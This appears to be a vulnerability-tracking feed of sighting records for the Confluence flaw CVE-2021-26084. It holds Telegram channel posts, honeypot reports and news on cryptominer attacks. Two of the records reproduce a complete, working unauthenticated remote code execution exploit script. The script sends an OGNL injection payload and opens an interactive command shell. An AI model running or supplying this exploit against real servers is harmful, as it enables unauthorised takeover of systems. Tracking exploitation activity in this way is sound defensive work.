\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043b\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435.\n\nhttps://shly.link/nScUo", "url": "https://t.me/Hackme_news/579"}, {"timestamp": "2026-09-01T17:00:39.478Z", "date_only": false, "value": "2026-09-01T17:00:39.478584Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4461", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "497a373b-120c-4e8a-92d8-f91e45ee4871", "content": "SCADA Security\nUnauthenticated RCE vulnerability in\nHikvision IP camera/NVR firmware (CVE-2021-36260)\nhttps://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html\n\nCloud Security\nIAM Vulnerable - Assessing the AWS Assessment Tools\ud83d\udc4d\ud83c\udffd\nhttps://labs.bishopfox.com/tech-blog/iam-vulnerable-assessing-the-aws-assessment-tools\n\nMalware analysis\n1. Financially motivated actor breaks certificate parsing to avoid detection\nhttps://blog.google/threat-analysis-group/financially-motivated-actor-breaks-certificate-parsing-avoid-detection\n2. Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage\nhttps://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "url": "https://t.me/cissp/4461"}, {"timestamp": "2026-09-01T17:00:39.542Z", "date_only": false, "value": "2026-09-01T17:00:39.542316Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4476", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f68db93f-25e5-41c2-af1c-77ef6cc1f292", "content": "A faithful transposition of the key features/functionality\nof PPLDump project as a BOF\nhttps://github.com/EspressoCake/PPLDump_BOF\n\nThreat Research\nHacking LG WebOS Smart TVs Using A Phone\nhttps://medium.com/geekculture/hacking-lg-webos-smart-tvs-using-a-phone-3fedba5d6f50\n\nRed Team Tactics\n1. Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY \\ SYSTEM \nhttps://github.com/klezVirus/CandyPotato\n2. Modular framework for discovering open directories, identifying unique content through signatures and organizing the data with optional output MISP modules\nhttps://github.com/hpthreatresearch/subcrawl#requirements\n\nBlue Team Techniques\nWindows Event Logging & Collection Guidance\nhttps://github.com/JSCU-NL/logging-essentials\n\nAnalytics\nCVE-2021-26084:\nDetails on the Recently Exploited Atlassian Confluence OGNL Injection Bug\nhttps://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug\n]-> PoC Exploit:\nhttps://t.me/cybersecuritytechnologies/4202", "url": "https://t.me/cissp/4476"}, {"timestamp": "2026-09-01T17:00:40.280Z", "date_only": false, "value": "2026-09-01T17:00:40.280690Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4419", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c9291ad4-8d80-480a-b25b-c4431746882b", "content": "Confluence server exploit CVE-2021-26084\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/cissp/4419"}, {"timestamp": "2026-09-01T17:00:41.147Z", "date_only": false, "value": "2026-09-01T17:00:41.147961Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4296", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d814e07f-7c31-46db-9c76-d2b00eb30f0b", "content": "Microsoft shares technical details of an actively exploited vulnerability affecting SolarWinds Serv-U FTP server software that it attributes to hackers from China.\nRead details: \nhttps://thehackernews.com/2021/09/microsoft-says-chinese-hackers-were.html\n\nU.S. Cyber Command warns of ongoing attacks exploiting a recently disclosed vulnerability (CVE-2021-26084) in #Atlassian Confluence that could be exploited by unauthenticated attackers to take control of vulnerable systems.\nDetails: \nhttps://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html\n\nApple is temporarily delaying its controversial plans to scan users' devices for child sexual abuse material after receiving blowback over fears that the tool could be used as a weapon for mass surveillance and erode users' privacy.\nRead: \nhttps://thehackernews.com/2021/09/apple-delays-plans-to-scan-devices-for.html", "url": "https://t.me/cissp/4296"}, {"timestamp": "2026-09-01T17:00:41.574Z", "date_only": false, "value": "2026-09-01T17:00:41.574860Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4242", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ebabcbbb-1ca0-476a-b0c9-892960659d95", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "url": "https://t.me/cissp/4242"}, {"timestamp": "2026-09-01T20:02:24.968Z", "date_only": false, "value": "2026-09-01T20:02:24.968954Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/23045", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "be9db791-9ad2-4961-b823-50b6bc35efca", "content": "How To Find Confluence Servers With CVE-2021\u201326084 Vulnerability Using Nuclei\nhttps://gkarumbi.medium.com/how-to-find-confluence-servers-with-cve-2021-26084-vulnerability-using-nuclei-7b86625127e5?source=rss------bug_bounty-5\n\nStep 1:Continue reading on Medium \u00bb (https://gkarumbi.medium.com/how-to-find-confluence-servers-with-cve-2021-26084-vulnerability-using-nuclei-7b86625127e5?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/23045"}, {"timestamp": "2026-09-01T20:02:25.161Z", "date_only": false, "value": "2026-09-01T20:02:25.161417Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/22928", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1454bc22-a54b-4914-8fab-668a8b4d9cab", "content": "[Atlassian Confluence CVE-2021\u201326084]::: The other side of bug report!\nhttps://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/22928"}, {"timestamp": "2026-09-01T20:02:25.205Z", "date_only": false, "value": "2026-09-01T20:02:25.205968Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/22930", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "24b9dce5-141b-4551-b0ca-74efb5c20346", "content": "tl;dr \nA pull request for Nuclei template of CVE-2021\u201326084 turned out to be a leak of our Pre-Auth RCE exploit payload for Atlassian\u2026Continue reading on tradahacking \u00bb (https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/22930"}, {"timestamp": "2026-09-01T20:02:25.255Z", "date_only": false, "value": "2026-09-01T20:02:25.255003Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/23031", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "53632c94-5168-49fc-b076-4f9b0e1dd298", "content": "Black Hat Ethical Hacking\nJenkins project\u2019s Confluence server hacked to mine Monero\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Jenkins project\u2019s Confluence server hacked to mine MoneroPost Views: 38 \nReading Time: 1 Minute\nHackers exploiting the recently disclosed Atlassian Confluence remote code execution vulnerability breached an internal server from the Jenkins project.\nWhile the attack is concerning because Jenkins is a popular open-source server for automating parts of software development, there is no reason that the project releases, plugins, or code have been impacted. Admins are being cautiousAs BleepingComputer reported\u00a0last week, after the proof-of-concept exploit code for CVE-2021-26084 became public, threat actors started to scan for vulnerable Atlassian Confluence instances to install cryptocurrency miners.\n\nWhile many attackers used the exploit to install the open-source, cross-platform XMRig Monero cryptocurrency miner, they could also leverage the vulnerability for more damaging attacks.\n\nLast week, administrators of the Jenkins project discovered that one of their deprecated Confluence server fell victim to one of these attacks.\nSee Also: Complete Offensive Security and Ethical Hacking Course \u201cThus far in our investigation, we have learned that the Confluence CVE-2021-26084 exploit was used to install what we believe was a Monero miner in the container running the service. From there an attacker would not be able to access much of our other infrastructure\u201d \u2013 Mark Waite, Jenkins Documentation Officer\nAlthough there is no evidence suggesting that the attacker stole developer credentials, Jenkins project managers are being careful and have reset passwords for all accounts in the integrated identity system that also included the deprecated Confluence service.\n\nThe admins also said that they \u201care taking actions to prevent releases at this time until we re-establish a chain of trust with our developer community.\u201d The affected Confluence service is no longer active and privileged credentials have been rotated.\n\nCVE-2021-26084 is a remote code execution vulnerability in Atlassian Confluence that can be exploited without authentication. News about it emerged on August 25, when the company published a security advisory.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets\nAbout a week later, technical details became publicly available along with proof-of-concept exploit code. Threat actors started leveraging so heavily that the U.S. Cyber Command (USCYBERCOM) issued a warning\u00a0about mass exploitation.\nhttps://www.bleepstatic.com/images/news/u/1100723/2021/USCyberComConfluence.jpg \n<figcaptionsource: USCYBERCOM \nSee Also: Offensive Security Tool: Pegasus Spyware \u2013 Decompiled See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerSource: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_plugin_vuln-90x90.jpg Gutenberg Template Library & Redux Framework Bugs Plague WordPress Sites6 days ago\n* https://www.black[...]", "url": "https://t.me/hacking_Attack/23031"}, {"timestamp": "2026-09-01T20:02:25.982Z", "date_only": false, "value": "2026-09-01T20:02:25.982222Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/22266", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "37c4367c-adaf-4e7a-95b4-556f18ec6ff7", "content": "Exploit Collector\nConfluence Server 7.12.4 OGNL Injection Remote Code Execution\n\nhttps://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png \nConfluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.\n\nMD5 | 0340434a86c779c9694e3699eb42446f\n\nDownload\n# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)\n# Date: 01/09/2021\n# Exploit Author: h3v0x\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.12.x versions before 7.12.5\n# Tested on: Linux Distros \n# CVE : CVE-2021-26084\n\n#!/usr/bin/python3\n\n# References: \n# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\n# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport optparse\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help=\"Base target host: http://confluencexxx.com\")\nparser.add_option('-p', '--path', action=\"store\", dest=\"path\", help=\"Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x\")\n\noptions, args = parser.parse_args()\nsession = requests.Session()\n\nurl_vuln = options.url\nendpoint = options.path\n\nif not options.url or not options.path:\n\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')\nprint('[+] Example help usage: exploit.py -h')\nexit()\ndef banner():\n\nprint('---------------------------------------------------------------')\nprint('[-] Confluence Server Webwork OGNL injection')\nprint('[-] CVE-2021-26084')\nprint('[-] https://github.com/h3v0x')\nprint('--------------------------------------------------------------- \\n')\ndef cmdExec():\n\nwhile True:\ncmd = input('> ')\nxpl_url = url_vuln + endpoint\nxpl_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36\", \"Connection\": \"close\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept-Encoding\": \"gzip, deflate\"}\nxpl_data = {\"queryString\": \"aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022\"+cmd+\"\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027\"}\nrawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)\n\nsoup = BeautifulSoup(rawHTML.text, 'html.parser')\nqueryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']\nprint(queryStringValue)\nbanner()\ncmdExec()\n\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/22266"}, {"timestamp": "2026-09-02T01:00:14.024Z", "date_only": false, "value": "2026-09-02T01:00:14.024627Z", "kind": "sighting", "label": "Seen", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8d779386-dc5e-49f5-9720-25fce5efa9cc"}, {"timestamp": "2026-09-02T10:15:11.386Z", "date_only": false, "value": "2026-09-02T10:15:11.386239Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9a87ef48-acdf-44f7-994c-538f4452bcea"}, {"timestamp": "2026-09-03T00:00:43.027Z", "date_only": false, "value": "2026-09-03T00:00:43.027819Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "85891677-f2cf-468b-b929-c266fe5b4977"}, {"timestamp": "2026-09-04T05:00:04.368Z", "date_only": false, "value": "2026-09-04T05:00:04.368462Z", "kind": "sighting", "label": "Seen", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d8292394-c449-4f02-9989-49c02cafc3b8"}, {"timestamp": "2026-09-04T10:00:09.265Z", "date_only": false, "value": "2026-09-04T10:00:09.265955Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7a1d207d-0c84-47d5-82a4-455e724d2255"}, {"timestamp": "2026-09-04T10:15:18.944Z", "date_only": false, "value": "2026-09-04T10:15:18.944971Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "63bf4710-3b0e-448c-8cdb-cdb1ef04847e"}, {"timestamp": "2026-09-05T01:00:39.011Z", "date_only": false, "value": "2026-09-05T01:00:39.011184Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "82eec8c8-0606-4b49-8330-7448c975f632"}, {"timestamp": "2026-09-07T17:00:04.056Z", "date_only": false, "value": "2026-09-07T17:00:04.056048Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/hacking_Attack/23031", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6f547741-f22b-4b68-a5ca-c6f0590f5e83", "content": "Black Hat Ethical Hacking\nJenkins project\u2019s Confluence server hacked to mine Monero\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Jenkins project\u2019s Confluence server hacked to mine MoneroPost Views: 38 \nReading Time: 1 Minute\nHackers exploiting the recently disclosed Atlassian Confluence remote code execution vulnerability breached an internal server from the Jenkins project.\nWhile the attack is concerning because Jenkins is a popular open-source server for automating parts of software development, there is no reason that the project releases, plugins, or code have been impacted. Admins are being cautiousAs BleepingComputer reported\u00a0last week, after the proof-of-concept exploit code for CVE-2021-26084 became public, threat actors started to scan for vulnerable Atlassian Confluence instances to install cryptocurrency miners.\n\nWhile many attackers used the exploit to install the open-source, cross-platform XMRig Monero cryptocurrency miner, they could also leverage the vulnerability for more damaging attacks.\n\nLast week, administrators of the Jenkins project discovered that one of their deprecated Confluence server fell victim to one of these attacks.\nSee Also: Complete Offensive Security and Ethical Hacking Course \u201cThus far in our investigation, we have learned that the Confluence CVE-2021-26084 exploit was used to install what we believe was a Monero miner in the container running the service. From there an attacker would not be able to access much of our other infrastructure\u201d \u2013 Mark Waite, Jenkins Documentation Officer\nAlthough there is no evidence suggesting that the attacker stole developer credentials, Jenkins project managers are being careful and have reset passwords for all accounts in the integrated identity system that also included the deprecated Confluence service.\n\nThe admins also said that they \u201care taking actions to prevent releases at this time until we re-establish a chain of trust with our developer community.\u201d The affected Confluence service is no longer active and privileged credentials have been rotated.\n\nCVE-2021-26084 is a remote code execution vulnerability in Atlassian Confluence that can be exploited without authentication. News about it emerged on August 25, when the company published a security advisory.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets\nAbout a week later, technical details became publicly available along with proof-of-concept exploit code. Threat actors started leveraging so heavily that the U.S. Cyber Command (USCYBERCOM) issued a warning\u00a0about mass exploitation.\nhttps://www.bleepstatic.com/images/news/u/1100723/2021/USCyberComConfluence.jpg \n<figcaptionsource: USCYBERCOM \nSee Also: Offensive Security Tool: Pegasus Spyware \u2013 Decompiled See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerSource: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_plugin_vuln-90x90.jpg Gutenberg Template Library & Redux Framework Bugs Plague WordPress Sites6 days ago\n* https://www.black[...]", "url": "https://t.me/hacking_Attack/23031"}, {"timestamp": "2026-09-07T17:00:04.092Z", "date_only": false, "value": "2026-09-07T17:00:04.092265Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/22930", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b4581b04-fd75-462b-a541-0c9746c3a471", "content": "tl;dr \nA pull request for Nuclei template of CVE-2021\u201326084 turned out to be a leak of our Pre-Auth RCE exploit payload for Atlassian\u2026Continue reading on tradahacking \u00bb (https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/22930"}, {"timestamp": "2026-09-07T17:00:04.125Z", "date_only": false, "value": "2026-09-07T17:00:04.125340Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/22928", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c789c703-8f92-4125-b361-cfad9504ad91", "content": "[Atlassian Confluence CVE-2021\u201326084]::: The other side of bug report!\nhttps://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/22928"}, {"timestamp": "2026-09-07T17:00:04.588Z", "date_only": false, "value": "2026-09-07T17:00:04.588409Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/23045", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "28fc6b48-11e3-4098-8642-4fccbd67a889", "content": "How To Find Confluence Servers With CVE-2021\u201326084 Vulnerability Using Nuclei\nhttps://gkarumbi.medium.com/how-to-find-confluence-servers-with-cve-2021-26084-vulnerability-using-nuclei-7b86625127e5?source=rss------bug_bounty-5\n\nStep 1:Continue reading on Medium \u00bb (https://gkarumbi.medium.com/how-to-find-confluence-servers-with-cve-2021-26084-vulnerability-using-nuclei-7b86625127e5?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/23045"}, {"timestamp": "2026-09-07T18:00:05.310Z", "date_only": false, "value": "2026-09-07T18:00:05.310541Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/22266", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "96bf7214-f06b-453f-863a-3666df231279", "content": "Exploit Collector\nConfluence Server 7.12.4 OGNL Injection Remote Code Execution\n\nhttps://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png \nConfluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.\n\nMD5 | 0340434a86c779c9694e3699eb42446f\n\nDownload\n# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)\n# Date: 01/09/2021\n# Exploit Author: h3v0x\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.12.x versions before 7.12.5\n# Tested on: Linux Distros \n# CVE : CVE-2021-26084\n\n#!/usr/bin/python3\n\n# References: \n# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\n# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport optparse\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help=\"Base target host: http://confluencexxx.com\")\nparser.add_option('-p', '--path', action=\"store\", dest=\"path\", help=\"Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x\")\n\noptions, args = parser.parse_args()\nsession = requests.Session()\n\nurl_vuln = options.url\nendpoint = options.path\n\nif not options.url or not options.path:\n\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')\nprint('[+] Example help usage: exploit.py -h')\nexit()\ndef banner():\n\nprint('---------------------------------------------------------------')\nprint('[-] Confluence Server Webwork OGNL injection')\nprint('[-] CVE-2021-26084')\nprint('[-] https://github.com/h3v0x')\nprint('--------------------------------------------------------------- \\n')\ndef cmdExec():\n\nwhile True:\ncmd = input('> ')\nxpl_url = url_vuln + endpoint\nxpl_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36\", \"Connection\": \"close\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept-Encoding\": \"gzip, deflate\"}\nxpl_data = {\"queryString\": \"aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022\"+cmd+\"\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027\"}\nrawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)\n\nsoup = BeautifulSoup(rawHTML.text, 'html.parser')\nqueryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']\nprint(queryStringValue)\nbanner()\ncmdExec()\n\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/22266"}, {"timestamp": "2026-09-08T10:00:07.863Z", "date_only": false, "value": "2026-09-08T10:00:07.863511Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "39dd5c4c-e190-49e2-bc84-c21aaae4ee72"}, {"timestamp": "2026-09-09T01:00:04.428Z", "date_only": false, "value": "2026-09-09T01:00:04.428431Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/Hackme_news/579", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "96cd3497-175a-46d4-8828-f2a44388cd51", "content": "\u0411\u043e\u0442\u043d\u0435\u0442\u044b Linux \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 Atlassian Confluence\n_____________________________\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE), \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f 